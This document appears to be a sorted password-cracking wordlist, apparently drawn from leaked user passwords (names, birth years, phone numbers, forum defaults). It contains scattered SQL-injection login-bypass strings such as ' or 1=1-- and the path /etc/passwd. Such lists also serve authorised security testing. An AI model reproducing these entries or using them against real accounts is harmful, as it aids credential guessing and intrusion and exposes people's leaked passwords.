-$vnitcucs -$w2tf%m -$weetsongs -$wsu2121 -$wtpea617 -$yZyGy8 -$ysadmin -$yunjeong -% -%!& -%#$!@ -%$&*# -%$1ADMI -%$thG76J -%%$#$#$# -%%GL4N -%%phpBB%% -%%xz%%xz%%xz -%&&TCAL -%&rainbow123 -%''+,,, -%))*))!) -%,aT7bMzuc -%-8 -%/fFRz7( -%06Tommi11 -%09trinitron -%110VAC -%1Metallica1% -%219Bopy& -%2XD5%T -%33ezln -%461*cev -%57%54%46 -%5X/ZPn -%678*@! -%6hK&8 -%7?]EYE -%915882& -%976Gan& -%99SURE -%9[QPK4 -%9o5G0Th -%A%2%3%4 -%ADMIN% -%APOIO% -%Axlm1050 -%C5 -%Drop1n -%F3RRAR -%FZE/LT -%Gent00=) -%IJATTO -%JP -%Luger*' -%M0DUL0 -%M1(K3Y -%M1[K3Y -%Mabuhay2005 -%Mac270& -%Mega2211% -%MoZart! -%N0OB!# -%Pfeffermuehle% -%R4 -%RDCvgt5 -%Rieda% -%SALOME% -%SEAGUL -%Sprint07 -%TGB5tgb -%Tlg5vVs -%Tokiohotel03 -%V0LDEM -%W8|USN -%WP'-6R -%YAN32| -%ZTJEQJ -%^56!(% -%_8 -%_Ciphering_% -%ahaPuu! -%ajntu79 -%arIel88 -%av -%biskup85 -%bluemountain77! -%ch5u8mo -%cx;6!H4 -%d+ -%darcrist% -%denise1 -%eamfp% -%extender? -%faaySg3 -%ficken% -%hartdream% -%here -%jlX((GJ -%lb!sverige -%random -%roman10 -%rs232%* -%savior% -%sniper1992% -%sth#zcj$ -%superman& -%thz$5g -%toine19% -%uf -%wert% -%xeres% -%xkw98p25 -& -&#/#=( -$5lebt -$Coucou0 -$RFV4rfv -$aaaaaa2 -$andrea -$belinea -$c@rrie -$ergey -$hijo -$hip@ -$idew55 -$m@k -$micha123 -$myPass -$roberta -\=- -½ -¿ -丷靏 -öaka -ırem -!#%246 -!1ajhev -!234qwer -!2Greeno -!@#$%^ -!Automat -!Birdy1 -!Firewall1 -!Manon01 -!SURFboard -!angelika -!bemule -!bush05 -!dedouta -!ds! -!eater! -!eprom -!fallout@ -!hallo! -!iwetoa0 -!klaho! -!miller69% -!mm198 -!mp4boxc -!none1 -!odeen# -!pcm! -!qwert! -!qwerty! -!rave! -!rustno1 -!sky! -!star68 -!sven123 -!theo -!trango -!urbeeswax -!werwolf1 -şifre -';lk -';lkj23 -'dtkbyf -'kkj123 -'kmdbhf1984 -  -⁕ -●χ -♂ -&&&4711AL -&&*&TTYT -&&3083$$ -&&Magic&& -&&POUIL -&&THISI -&&juin -&&speedster99 -&'{ -&*&WDDD -&*()OKM -&*= -&/()zuio5 -&10 -&2IS@9$ -&44WEET -&48EZIQ -&79(iuy -&7koepfe -&_{zo -&@^!^=925 -&BJ7TSZ -&C|=M>P -&ECSEMO -&Gxi}zL] -&Helux -&KT#B#4 -&Kanex3 -&L$ -&MAJUESP -&PH9iuqG -&POUILL -&Q8?2]W -&R73Ut -&S0B3sD -&TREES* -&Vigilant01 -&XPWF95 -&Y!!35hv -&YHI_0R -&ZyISxE -&^%$#@! -&^)*)# -&a -&alen -&gaston -&riddick7 -&sommer -&ashwin -&bi6leUr -&boby690 -&caiag716 -&dUieSL& -&daphne1981 -&dviddbox -&eharst!!! -&elefant2 -&etc&ETC -&etcoco& -&ghost -&gpt666 -&hansi1944 -&hearts -&hearts!!! -&hearts11 -♥ -♥; -♥ccm -&heartshim -&helies -&il172ad -&iloveit55 -&iloveyo2u -&kat -&ladder1 -<05031971 -<bruno* -&maky1256& -&mcdreamy; -&me@prinz -&newman -&pendei2 -"586367 -&qz$#d9 -&sohappy! -&tfCBhu[ -&tiger1& -&wittenheim& -' -' and 1=1 -' or 0=0 -- -' or 1=1 or ''= -' or 1=1-- -' or 1=1; -'" -''A -''PANIC''SUR13 -'1 AND 1=1 -'1234567ujm -'249G6I -'814b -'8ZhF -': -- -':F -';+0H4A -'DMDVDI -'ENTEPR -'JY32HP -'RnN3 -'X_ -']y -'ashley1985' -'dK5LA& -'elephant -'njz'lbxrf -'pxAI -'sMjt -'ti bout -'u~ -'vXVx -'xafomee -( -(! -(!#$(#% -(#U$4#$k -($/&)% -(%#k&)%# -(&ANRUF -((&&!!@@ -((((((((9 -(((kawahee))) -((gazman22)) -()()()() -()RBDU( -()TUBOK -()fx72/& -()virg0! -(*&^%$ -(*)steve(*) -(*19AU@Jd -(*crackme*) -(*dk48wt)_ -(*g4yl3) -(*lili*) -(-rame-) -(0MM177 -(0ldmeat -(0mp&te) -(1001stones) -(123asd321) -(1383acs) -(1383hack) -(1?FJ3H -(21,54,87) -(23&utd3 -(2HQ(ZV -(61 -(7!*#@) -(741024) -(8./CB6 -(858) 373-8773 -(9MeN0) -(:pcpc7272:) -(@&&& -(@GU@$ -(ARIANNA&ANDREA) -(BABILUX) -(DAFLON -(Euro2008) -(F9 -(G56THX -(H0rus?) -(HTC)<= -(Krid07) -(L)viic -(L)volkan -(LL)lol(LL) -(O37Q2* -(Palmers6) -(S- -(SKY*DI -(Sasuke1989) -(Sin)ical -(Sparkyali) -(ULLI)% -(VT1J1G -(W)woopa -(Z>4g{K -(aba!a -(adamGontier) -(adel-heid) -(aja-aja) -(archie) -(avidcasper) -(ba)123456789 -(badoygs) -(banana) -(bhvLHT99) -(blank) -(boots!) -(cachorro)00 -(chimul) -(compaq) -(connor#16 -(dickeskind) -(diego80) -(dudud) -(esba632) -(et2cds) -(fuckyou(& -(fuckyou)* -(gaara_kun) -(greywolf124) -(halocharts) -(harl@ne -(hentai) -(hgfenj) -(i.l.k.) -(ice190689) -(joseph) -(kW -(kitsos)! -(kmK).11 -(knopf)02 -(lilyfox) -(love)123456789 -(m)ary -(m4d3r) -(mari$99 -(markusmaus) -(me#Lnc% -(miroku) -(octubre)151976 -(onTour) -(poulet1 -(prohack) -(rainbow)123 -(reiayanami1234 -(residentevil4) -(retard) -(rmd)(+)(rm)4eva -(rock_ford) -(sgresende) -(simba) -(smile) -(svenstorp) -(test) -(turnippony440) -(tyral) -(t~ -(w( -(w1ck3d) -(wi250552li) -(z# -) -)! -)!!)!(** -)!(@daf -)%GIRL -)(*&^% -)(*&^%$#@!69 -)(H5GHN -))( -)))))) -))))maroko -))7KO$%bock -),KI( -)5NTgyC4 -)937cjp$ -)GQ%YQA -)K -)O(I*U7y6t5r -)P:?0p;/ -)SS'W8{ -)TR/"2 -)VA -)]J -)^fuckyou^( -)_9JVE)j -)_BR6_) -)g+ -)luv! -)rike07( -)v(ajin73 -)~D0*Q -* -*#&$*%( -*#TG$XM -*#rich@ard -*$HUMME -*$mob$*ALS -*$tar$* -*% -*%8$<<$ -*%BQ>O, -*&&;: -*&*2002PD -*&^moo*&^ -*'ZO$]] -*( -*()1 -*()iop890 -*(--: -*(sira)* -*)=] -** -*** -***###*** -***()*** -****() -***** -****** -******* -******** -********* -********** -*********** -************ -*************** -**************** -******6 -******7 -******abba -****0309 -****er -****gemm30 -****kz -****me -****off -****you -***---*** -***123qwe -***ATKARSK*** -***Rosal -***franci*** -***gb1975 -***k** -**// -**0607** -**122333** -**19681215+- -**4989560 -**4989569 -**958595+ -**9767350529 -**ARMAN -**FREED -**FuCkY0u(( -**Henny* -**SIMON** -**Zugang! -**agento -**biddy7 -**byte** -**cilla7** -**cont325058 -**emo14** -**gate// -**geheim** -**hopehope** -**jake1971 -**jojo** -**kaan** -**kjt** -**look -**muhammed -**nemo** -**olaola -**pattena -**renega -**schatz** -**sebbycat** -**simon* -**swatch** -**tatatoo** -*+*hero*+* -*-*-random -*-+(MARine)+ -*-Siggi* -*.*mega180 -*.5214 -*.8 -*//-=+.. -*//35be16go23//* -*/987ecu -*/crotte -*010203* -*01x -*060724423* -*0spongebob0* -*1 -*1*2*3* -*1*2*3*4*5*6*7* -*1*59753 -*10#as -*1102 -*1195043111 -*12*46* -*123.MC -*123456* -*123dt%q -*131477 -*142#at -*14slh41* -*151293* -*1593578 -*1859 -*1879600505602* -*19*10 -*1NN0V@ -*1life -*1maier1* -*1nellie -*2009hassi -*2112* -*2470C0C06DEE42F -*271189kpj84 -*27thebest -*33l@nt@s -*369159* -*395*RAINBOW -*3gd8tz -*4167- -*4535* -*4617pa* -*4ENLHM -*523331* -*54j94a* -*5933F4 -*60504030201 -*6462801 -*658299*12 -*7659055* -*76ygh -*790616* -*865Lc -*8L -*91cutlass -*96320011226 -*9827839412 -*9876543210* -*9VLMWR -*:.+:== -*=%.; -*@&@@|^| -*@-8523.0 -*A*1571990 -*ADM1N. -*ADM21% -*ADMXPL -*ARCTICMON -*ASGHASGH1 -*Alec07 -*Amigo! -*AngelA01* -*BM"M!P -*BOSCO1 -*Biene05* -*Bjc4000 -*Blink* -*CCITRO -*CLEMLU -*CREME1 -*CROATI -*CV4JI4 -*Chidori* -*Crismo* -*Cube3k* -*DIV66 -*DIXON* -*DL!7GC -*Dethof*1 -*Diablo91* -*Die_Off* -*Domi* -*E@8BXW -*EH7EDQ -*ENERGY -*FGCSEW -*FREDDY* -*FUT12_ -*Fake21* -*Finale24* -*G-1PJI -*Gallardo -*Gracie* -*Grs2993 -*H48) A -*Helgoland*01 -*IRCHFO -*Ikram6 -*JULIAP -*Javier* -*Jerry1982* -*KOL*500 -*L0B0T# -*LOGO90 -*MCGLON -*ME_@ -*MMMMMISTER* -*Mcgrady2 -*NK=X]I -*NOUGAT -*NT,532 -*ORLIND -*O_ -*Oberzicke* -*Odyssey2004* -*Orion* -*P -*P8m6bf -*PiS+ -*Q0 -*^%$E -*_ -*a123456 -*aHnjmH* -*aaargb -*aaliyah* -*abergern* -*abigailteam,o* -*abudabi -*admin# -*akne112# -*aladinteam* -*alam*12 -*albator* -*ammy -*ange666 -*asher -*axter -*babam* -*babyd -*batman*0815 -*beast -*beguito4* -*bentikus* -*beroba* -*bitchies* -*blakeismine* -*blonde -*boricuaba -*bradley* -*broken -*c!haai -*ca4us!23 -*capucine86 -*caroline* -*cesar -*cherries* -*chino* -*chino*+ -*chocolate1 -*claire89* -*cleopatra*26103 -*coolness -*damien* -*darialol* -*deusemarcio -*djribas33 -*dobedo* -*dostcan* -*dourdouille -*dragon*1980 -*dream -*eibuser* -*einfach* -*ejaculation** -*embryo* -*esmeralda* -*estrella -*evanth59 -*evenstar -*f7Ly4 -*fabiola* -*fathead1* -*fedd* -*ferry* -*fine# -*forren -*fufu* -*fx%reg^ -*gabby* -*gabriela_al -*geheim87* -*gn7556gn* -*god -*gu!ll@ume -*guildes* -*guilherme*0 -*hack*me* -*hakka17 -*haktc* -*helios* -*henrique*24 -*herne2007# -*hidden1 -*higashi -*him*11 -*holly&ben -*homo* -*honney* -*hooligan* -*hoplaou* -*hottie* -*i*am*a*gay* -*iaminlove* -*ilo#cla* -*ilovesoph -*iloveu4eva* -*iloveyou -*ilvgez* -*intra05 -*jI0gZV_ -*jeep007 -*jennifer* -*jenniferal -*jiboo -*kapikaya* -*katrijn* -*kaulitz*1989 -*kebzou* -*kh0501* -*kj7vl#+ -*knuddel* -*koala -*kumar -*l@urent59 -*lavrastur* -*lea*! -*lesbaby* -*lind32364 -*loha*ani* -*lokey* -*lou-ann* -*love* -*lovebites* -*m*ascha01 -*mZ?9%^jS -*maiden* -*malaSimbo# -*mani1968* -*marina93 -*mattyh -*mclander# -*menaraadsl -*meow1970 -*mimibutt -*minina* -*moozie18* -*mpa.u3? -*mus147* -*neiluj81* -*neusel.04 -*newcastle8* -*ng1998I -*nidina*1 -*niles-091# -*ntarget -*ofmyhrt -*overbest* -*papaya* -*pass* -*petraheinz* -*pharao* -*php1 -*phpbb* -*pit112# -*po!!it0 -*pokemonmew151* -*pokey* -*prez06 -*princess* -*puLyka* -*puschelng7* -*q3rc45* -*rafael* -*ragnar0k* -*reGret#$ -*rebecca*# -*reel+box -*rkFhF* -*rolleman# -*romania4star* -*roxy* -*s*a*m* -*sam250484 -*samsam03* -*saraHD1 -*sexii* -*shane* -*slipknot911* -*smirnoff* -*sophie* -*space?! -*star* -*star15* -*stargirl* -*stephen* -*sternchen*1988 -*steve* -*storbi* -*swd35pnn -*tensi001* -*the* -*tjfalsghk -*to96thip -*tranquille12 -*trenton* -*trixi* -*trustNO1 -*tvqjts* -*vanusa* -*vykezqC -*w31rd0 -*want2win!! -*weissbier10 -*will* -*www* -*x&sc1^0 -*xC -*ysrao1 -*zalena6 -*|gF-O2 -*~MIA~* -+ -+#0100101 -+#killer+# -+#mb2002 -+#pku186 -+&`Q&WH -+*/568309 -+*98sayutani89*+ -++++ -++++++ -+++++++ -++290592++ -++APPLE -++Freak76++ -++Kalu++ -++XS4PR -++area2000++ -++heckmeck++ -++iddqdidkfa++ -++jola++ -++memoric -++pcs++ -++runrich++ -++un+rich++ -+-+ecik+-+ -+-Organizer-+ -+-sp9980 -+.dreambox2007 -+01832022 -+01casanova+ -+0TTER# -+1000rex -+123 -+123marseille -+1974kuba -+19ik83- -+1guda+1 -+247-985 -+302104511305 -+380669051780 -+3EUX -+400TaonE -+420257761257 -+4nesk4+ -+51HLHJ -+62QEGN -+64098840+ -+76steyr -+789456123 -+919455674783 -+9JQNH1 -+AprikosenEis? -+BV"YT7 -+D6QBJU -+ECIVRE -+EIMKYF -+F+Z6W5 -+GuH75+ -+Halolite+ -+KATY06 -+Natation40 -+PorSche -+STERN! -+Slim#5 -+Sonnenschein6 -+TG/SB- -+W2MSER -+agakmu+ -+arg6t -+atr5ce -+azerty1 -+bolakalele+ -+brigitte1 -+bsd2000- -+claudemazda+ -+closesmile+ -+dora+ -+edu123 -+elume+2 -+geilerschwanz+ -+heroes007 -+ich+liebe+dich -+ich9sau -+imac+ -+in24nu6k -+kihei47 -+kubusch- -+lex2308ti -+lf1612 -+marur13 -+mb0412+ -+mcmague- -+morgue+ -+mukul15 -+omfgrulez -+p.+.wwa -+perkele -+pete- -+phates04 -+piks84+ -+pyvXtu@ -+rm-159* -+slaughter -+v-fr34k5 -+wd2981+ -+zebrahead -, -,,/ -,,chrisd -,,e,,d,,i -,,lari44 -,,waran,, -,. -,.-,.- -,.-email3-., -,./<>? -,./,./ -,./123/., -,./<>?9 -,.85op90 -,.geheim -,.tomasz90 -,/,/,/.. -,/1ab5o -,/q -,3F,0A, -,3k5r5pa -,8F -,8b5dt%? -,9831612585 -,987654321 -,;Didou94 -,ATTJEW2 -,C -,F,JXRB -,FFCMRF -,G37AQ. -,H -,JH -,K< -,SYS.IS -,TKSQRJN -,TKST0, -,TOR -,WE -,a4 -,atisol -,bcnjdfhs -,ehujvbcnh -,ehvfktqrf -,eigblfhfp007 -,ep197966 -,eplus1. -,euhs75752 -,ev-,ev4 -,f,fhrf1545 -,f,kjcbrb1 -,f[jhbyf3112 -,feldieu -,fhcbr -,fhcbr041188 -,fhf,firj -,fhhfrelf -,fhsijdf281187 -,fhsiybrjd353535 -,fhvfukjnbot123 -,ficken1 -,fke19375 -,fknheifqnbc -,fktyjxrf -,fnfhtqrf_08 -,fybitdf29 -,fyfy1136 -,fylfyf#2 -,fyrfgbdf -,gaeta, -,h'ylf -,hencjktk -,hfnk`[f -,hfqntr12345 -,iF -,ijaja -,inhas -,iokw7a38 -,j8G(a? -,je= -,jhbcrf -,jughblevfk -,jyz02021979 -,ki.lo98 -,l,i_i -,ledge> -,loredana.123 -,lp-,lp- -,lth. -,ma012909 -,mikesch1. -,millennium2000 -,miranon1 -,mnbvcxz -,mypass.0 -,pillepalle, -,secureadmin -,strycker -,svork462 -,tchfqelj -,tkbycrbq34261 -,tnvfyfuth -,tp gfhjkz1 -,tubvjn1 -,vl21081970 -- --$j --', --'U1R1. --* --*-/2524 --+-+mf-+ --+-7837426 --, ---*/- ----- ------ -------- --------------- ----333777+++ ----Honolulu--- ----___ ----adidas ----casio ----d&l ----deskstar--- ----marv25 ----nick--- ----swl--- ---1377-- --->m8<-- ---Albatross- ---GIJON ---SINA-- ---bitch-- ---blaze-- ---caro-- ---cva15-- ---dadd ---heinz- ---jenna02 ---jp-- ---meloko-67-- ---nono-- ---sylencer ---t9s--. --., --.-,apl --.-14188 -->:O --Albatross- --Albundy63% --C4 --DO@13 --DPSL --DerPate- --GAL220 --H18+se --HALLO- --I6U?NL --IB7%(W --IN --KLEIN --M22M- --MsA- --Mystery- --Netscape9 --Rahl-zedd --Sc00ter --TP16792- --Z? -.854T -.8mm. -.9QXX30 -.9UbDwd! -.:(NBA):. -.:FENDT:. -.:K -.:f3b -.:wypierdalac:. -.;[=,lp-mko0 -.ABERJE -.ABcd4321$ -.ADGJM -.Arun29 -.C0in. -.DE -.Daten11! -.E# -.EVIL -.Findus. -.GP0 -.Gofast42. -.Jesusin77 -.K9M -.MELINA, -.METAFR -.ROTHIA -.SYS.LO -.Silkek -.Sumon-65. -.T1V0L1 -.T8r0e0k0 -.TREND -.TRUCKM -.UXaBRj8 -.V8 -.XQ133R -.ZED -.abc, -.ad -.adg -.adgj -.adgjm -.adgjmpt -.adgjmptw -.adhjm -.admjgptw -.admw -.ahrforum73 -.andres -.anin154 -.annettexxxxx -.babydoll. -.beelzebub- -.behemoth, -.bekki4chr -.bine. -.bizcc -.bkispe -.bko5net -.bkteach -.bkwespe -.booboo. -.boutiquedemerde -.brothia -.coffee -.colchones -.com -.com/.com/ -.com4u -.commar113 -.comptr -.daygar1 -.dewi89. -.dirscherl8 -.elsawinner1 -.erica -.exe -.famil -.farewell -.flatl1ne -.foobar. -.g" -.goodhero -.gr33N -.h< -.hack -.hack//SIGN -.hack//sign -.happy -.hbcn -.hbq,jhbcjdbx -.hellabetty. -.hf3316623 -.honig2210 -.huevos.0 -.indien -.info.info -.info/index.html -.ireland. -.j.t -.jamipred -.jokerit32. -.jpg -.juneau. -.k281191k. -.kerberos -.ktymrf123456789 -.l )(* -.l;by -.latala. -.leedsunited. -.letmein -.lexam..0 -.m0903ME -.m@ntiz. -.mabel. -.manderhal -.marenrenate. -.mayalabs -.mexican -.midiblogs.com -.n@rf:// -.norple22 -.nsumer -.o6 -.p147901e* -.pavements -.peprice -.phpbb -.pit791! -.plur. -.pooky -.r89S5Gi2 -.rotfuchs. -.rzvadm! -.s67L -.sK++fj -.sagara. -.sex! -.sigma-7 -.simone. -.sk1lper. -.teacher -.tecos! -.timo.123 -.uhtubjy -.ulimall -.vanschuyver -.vasade -.vitamin01 -.vqXAxh3 -.wta -.xlwugrtaHHq -.xxoo. -.yasi. -.ybxtk123 -.|Lizzel -/ -/ 15 -/'1234 -/'][;.,lp -/&cvK5H1 -/)` -/*-+ -/*-+99w -/*-123sefeliz -/*-9510. -/*/271511/*/ -/*ced79*/ -/*lulu/* -/-/3|_P -/-? -/., -/.,';l -/.,m -/.,mn -/.,mnb -/.,mnbvcxz -/./. -/.Ok~` -/.PENNI -//--**+ -/// -///// -////// -//123// -//DR1MA -//calimero -//midnight -//sarah.. -//sonic -//therasmus123// -//vhiessu -//werster(00-.) -/1 -/120490/ -/15/MarS/15/ -/18399397*a -/1satbaby -/22gard -/2368 -/26 -/5namjul -/654/Ql -/852789 -/8]SiBr- -/;p!@ol. -/=O/2um -/??? -/Fi -/Killreu/ -/M5.Y)A -/MOQFV2 -/NT+RL* -/PCADMI -/QHXLJF -/QiOuKn4 -/V*5@.J -/YC -/YHGUSD -/_6Z -/at_vdr/ -/azerty* -/cibern0 -/ck1.lm2/ -/d92UQ#E -/dNr6RD -/dev/null -/e( -/eleanor/88 -/etc/passwd -/f14862/ -/incest -/m7dUsy1wpj0I -/mjJGo!W -/mydream123 -/organize -/piche/ -/rastafari7 -/runner -/saturn/ -/teen/porn -/teen/tgp -/teen/xxx -/tnek/ -/usr/group -/usr/mud -/w/x/w -/x1w9l7f8 -0 -0 9 8 7 6 -0! -0#2005 -0#4 -0$0HONE -0$T3R -0& -0(@E'MK -0(l -0* -0,.1230,. -0,.t6ghj -0,01 -0,11 -0,123456.789 -0,45 -0,BC,38 -0-2-1-3457-6 -0-RD@#^ -0.0.0.0 -0.00.0 -0.U`FQ2 -0/4/0/4/9/0/ -00 -00! -00) -00-08-A -00-7949 -00.14.6c.0c -000 -000 123nho -000 00 -000---aaa -0000 -00000 -000000 -0000000 -00000000 -000000000 -0000000000 -000000000000 -000000000000000 -00000000001 -0000000000d -0000000005 -000000000o -000000002 -000000007 -0000000078 -000000009 -00000000az -00000000ma -000000011 -00000005 -00000007 -0000000AA -0000000s -0000001 -0000001p -00000034 -00000040 -0000007 -000000A -000000a -000000aa -000000c -000000no2 -000000tbork -000001 -0000019 -00000190 -000001b -000002 -000003 -000005 -000006 -000007 -000008 -000009 -00000946 -00000996 -00000a -00000ccccc -00000t -00000x -00001 -00001053 -00001085 -000011 -00001111 -000012 -000013 -000014789562321 -000015714 -00001674 -000017 -000018 -00001969 -00001972 -00001973 -00001975 -00001976 -00002 -00002! -00002032 -000020632 -00002224 -000023 -000024 -00002487 -000029 -00002928 -000030 -0000315 -000032 -000032568790 -000035007 -000037 -00004101984 -000041280 -00004502 -00005 -0000537 -00005409 -00005463 -00005562 -000059 -00006132235 -0000613OOO -0000613ooo -00006266 -00006308 -000068 -000069 -00007 -00007001 -00008888 -0000927 -000096 -00009715 -000099 -00009989 -0000999900 -00009webmail -0000_cthutq -0000a -0000boss -0000duck -0000is -0000leon -0000m -0000pppp -0000rubia -0000rubioa -0000sd1975 -0000sit -0000tech -0000theobald -0001 -000100 -0001000 -00010011 -0001014238 -00010203 -000105 -00010683 -00010840 -00011 -000111 -000111222 -000111999222ert -000111bazar -000113 -00012003 -000122 -000123 -000123456789 -000123cd -000124578 -000134 -00013579000 -0001375 9 -000143 -000147 -000151 -00015121978000 -000153 -000159 -00016112 -000162434 -000166 -000169 -00016982 -00016c84 -0001745ux -000197 -0001974ziggi -0002 -0002000 -00020601 -000215 -00021532 -000216 -000217 -000222 -0002226552 -000224 -000236jm -000245 -000247 -000249 -000253 -00025620 -000274 -000277920 -0002840808 -0002dam -0003 -0003-hb -000307 -000308 -00031081935 -000311 -000313 -0003153rst -00031702 -000320 -000321 -000323 -00033 -000333 -00035620 -0003685 -000373k -00037714 -000390641 -0004101984 -000412 -000415 -000415722 -000418 -00041822 -000420 -00042800 -0004288 -00042Ad1 -000432 -000442 -000466 -00047695 -00047819 -00049d51851 -000506 -000511775 -00051245 -000514 -000521 -00055000 -000555 -000571 -0005ltTei -0006 -00060006 -000617 -000620828 -000621 -000630 -0006514100 -0006580 -000659 -000666 -000675 -000678 -000682 -000686888000 -000689 -0007 -000700 -0007000 -0007001684 -000710 -000715 -00072899 -000732 -00073933 -0007455 -000746 -000753000 -000772ln -000777 -000780 -00078200 -000784 -000786 -000789 -0007Callum -0007dbjktnnf -000812 -000827 -000852 -000856 -00085771 -00088703 -000888 -0009 -000908 -000911 -000914 -000919 -000921 -000925 -00095bee0dd0 -00096941 -0009732 -000978 -000987 -000999 -000@wanadoo -000AC130 -000aaa -000alxk -000bob240 -000daan -000destruct0 -000e813c450b -000ersin -000fax -000green -000grizz -000jonatan -000mira000 -000napo000 -000ooo000888 -000oooaaa -000s62oa -000software@ -000theo -000vicky -000www -000x000 -001 -001.1.2.4.21 -00100 -001001 -0010010 -00100100 -001001001 -001002 -001002003 -001002003, -001006 -001007 -001009 -001011 -001016 -0010162 -001017 -001020 -0010250 -00104003 -001044 -001046 -00105182 -001052022 -001056 -001065 -00107074 -001081 -001084 -001090 -001092 -0011 -001100 -00110011 -001109 -00111 -001120 -001122 -00112233 -0011223344 -001122334455 -00112350 -001139 -00115599 -001158452 -00116116 -001187 -0011977ttn -001199 -00119922 -00119945 -0011aazz -0011mm -0011peace -0011phpbb -0012 -00120 -001200 -00120013 -001201 -001203 -00120384 -001206918 -00120890215 -00121355cm -001220 -001221121213 -001227 -00122877 -00123 -001231fs -001234 -0012345 -00123456 -001234566 -00123456789 -001235 -0012369 -00123779 -00123789++ -0012395 -001242 -001244244 -001251 -001258 -001266 -00126699 -001269530822 -001276nx -001290605 -0012chaz -0012gdc -0013 -00130013 -001301 -001302 -0013038 -00130986 -0013168 -00132 -00132061 -001325 -00132559 -00132580 -001325haru -001326 -00132625 -00132802 -00133 -0013321864 -00134193 -001350 -00135437 -001357 -0013571 -00135729 -0013632650239 -001368 -00137852 -00137900zxcv -0013944ged -0013akh -001411 -00141214 -001418 -001428qwert -001429 -0014298145 -001433m -001453 -0014694315 -00147896325 -001479 -00148297 -0014abd014 -0015 -00150203 -001514 -001517 -001519 -0015241185 -001533 -001534 -001550 -0015756 -001577 -001580 -001581 -001583745 -00158600 -00159 -00159499 -001600 -00160016 -001601 -001616 -0016175 -0016238 -001628 -0016309AD -0016415has -001664 -00168000 -001689 -00169 -001696 -001703 -001707 -001727 -001739 -001742424 -00174800 -001789 -001791 -0017KEP -0017be5650ae -0018 -001800 -001806 -001821 -001822 -001827 -001852 -001853233091 -001864 -001874 -0018754 -001881 -0019 -001905 -001907 -0019234295 -001926 -001930 -001938m -001942 -001948 -00195 -001955 -001960 -001962 -001963 -001965 -001966 -001968 -001970+7+5 -001971 -001977 -00197700 -001978 -001979 -00197900 -001980 -0019800840 -001981 -001982 -001983 -001984 -001984a -001985 -001986 -001987 -00198700 -001988 -00198800 -001989 -00198900 -001989100 -0019891453 -001990 -001991 -001992 -001993 -001994 -0019ANNA -001FunkeY -001adb5 -001adm -001agent -001bhs -001david -001j777 -001nimpocho -001salkin100 -001vaj -001z784 -002 -0020 -002000 -002001 -002002 -002003 -002003880 -002005009j -002006 -002009 -00201233 -002020 -0020200 -002027417436 -002030 -002032 -002060 -00206620 -00206jud63 -002078 -0020jkil -002100 -00210021 -002119 -002121 -0021222345aq -00212800 -002143 -0021514 -0021671363553 -00217385 -00218 00218 -0021944 -0021beta -0021tetris -002200 -0022002 -0022002200 -002204 -002211 -002218 -002222 -002223 -002233 -002236 -00224466 -002255 -002264 -002266 -002284 -002288 -0022exe -00230 -00230199 -00230482 -0023120k -00231jl -00233039 -002339 -0023412693226 -002355 -002358 -002361 -002371 -00240024 -002411 -002423 -00245 -00247361 -002487 -00248790 -0024bk -0024hallo -0025 -002508 -00251 -002513 -002525 -002526 -002573494002 -002589 -00260026 -0026134 -002671301 -0026926fucker -0026cb -0027 -002700 -002707 -002710 -002717 -0027374 -0027432napoli -002750 -00275943 -002762 -002774986L -00279891 -00280e -002811784 -0028623 -0028779 -002881 -002891 -00290880 -0029100korsan -002912 -002913 -00291979bap -002927 -002929 -002940 -002983 -002998948 -002= -002Coqui -002b67f9bf -002hsv82 -002water -003010 -00301585 -003025 -00302657041101 -003037 -003048 -003051 -003059151 -00307886255 -003097 -0030c1by -0031 -0031092chris -0031181j -003126jule -00312789 -003131 -00313658 -00314131 -003141592123123 -0031ray -0031secret -003200 -003232a -003288 -003300 -003315 -00332 -003328 -0033380533460 -003355 -003361 -003363 -003366 -003366003366 -00336alt -003381 -0034 -003423 -003437 -0034579 -0034650259423 -0034679232084 -003487 -003494 -0034998 -0034A1D -0034afff -0035 -003500 -003524 -003537 -003586 -003597 -003600 -003605030 -0036075www -0036313 -00363890211 -003646gug@ -003649 -00365184 -0037 -0037324124901 -003743500 -003759 -00376370 -003803 -003805 -00384380 -0038551459007 -0038730873998 -0038763340777 -003880pepeto -003888 -00393284181079 -00393332539081 -003934901 -003955 -0039lamore -003Koch169 -003a9cd5 -003bazar -003da09 -003ehlers -003jfo -003jponcp -003jra3112 -003woods -003zxc -004 -0040 -004004 -0040042 -004028 -004063 -004067 -00410195 -004112222 -004122 -00415 -00415532 -0041556501799 -00415636 -00415868 -00417800 -0041797081454 -004197 -0042 -004212 -00421212 -004254 -004268 -004281 -0042re24 -00430043 -004303 -00431431 -004321 -004343 -004354 -004361 -004370 -00439 -004401024413 -00441799502731 -00442700 -0044380 -004455q -004462 -004463 -0045 -004537 -00455455mb17 -004582 -004589 -0046 -00460046 -004667 -004673 -004679 -00469123 -004711188877 -004738lucas -004740294295 -004741 -004769 -004770 -004866 -00488410010 -004900 -004965 -004iL3 -004izcool -004j767 -004ndenhimself -004ryv -005 -005. -0050 -0050113 -005016 -005024 -005029 -005118 -0051200 -005129 -0051327 -0051647 -005173 -00521603cordoba -00523636 -005252 -005257 -0052688 -005284 -0052897a -0052997 -0053 -005353chivas -005362 -0053695 -005374500 -005377 -005381 -005411 -00541148217106 -005423 -005442 -0055 -005511 -0055123 -0055299371 -00553311 -00554040 -005544 -0055529 -00556100 -005566 -00557766 -0056#corinna -00560056 -00561100 -00561945 -005628 -00569019246 -0056906 -0057 -005736 -005752 -0057800 -00578586 -005786 -005790 -00585p -005872 -005877189 -00589316 -0059 -005922 -005948 -005979asd -005hope -005p00xee -0060 -00600060 -006006 -0060061989007 -006007 -006014 -0060e8d -0060pjm -0061 -006163 -0062636 -006318 -00631845 -00634046100 -006363 -006400 -006422 -006434xxxxx -006481 -00648610 -0064inforl -006516 -006537 -00657131 -00658470 -006597 -006600 -00660033Gaet -006603 -0066117265200 -006622 -0066613 -0066789 -006692 -006705 -006709 -006763712 -006769900123 -006785j -006791224 -006803 -006823 -006848 -006857 -00687nc -006881 -00689100 -0069 -006900 -0069110 -006919 -006919ep -006943 -006B00 -006fingerlos -006mkil -007 -007.2 -007.vlieg -007/005 -0070 -007000 -00700070 -007001 -007002 -007006 -007006b -007007 -007007007 -007007270686 -0070077 -007007b -007007hif -007008 -007008009 -0070147qwerty -007025 -0070457 -007091973 -0070953342993 -0070GON -007100 -00711 -007111 -007117 -00711711 -007123 -007123456 -007134 -007144 -0071451 -007150189 -00717Fox -0071970 -0071980924007 -0071981 -0072 -00720072 -0072013 -007204 -007211 -0072303 -007233 -0072433264161 -0072440147 -007247 -007249890246 -00725 -0072805d -00728480 -007289 -007299351088 -0073 -007313 -007319 -00734465589 -00734onrop -0073563 -00737200 -00737359 -0074 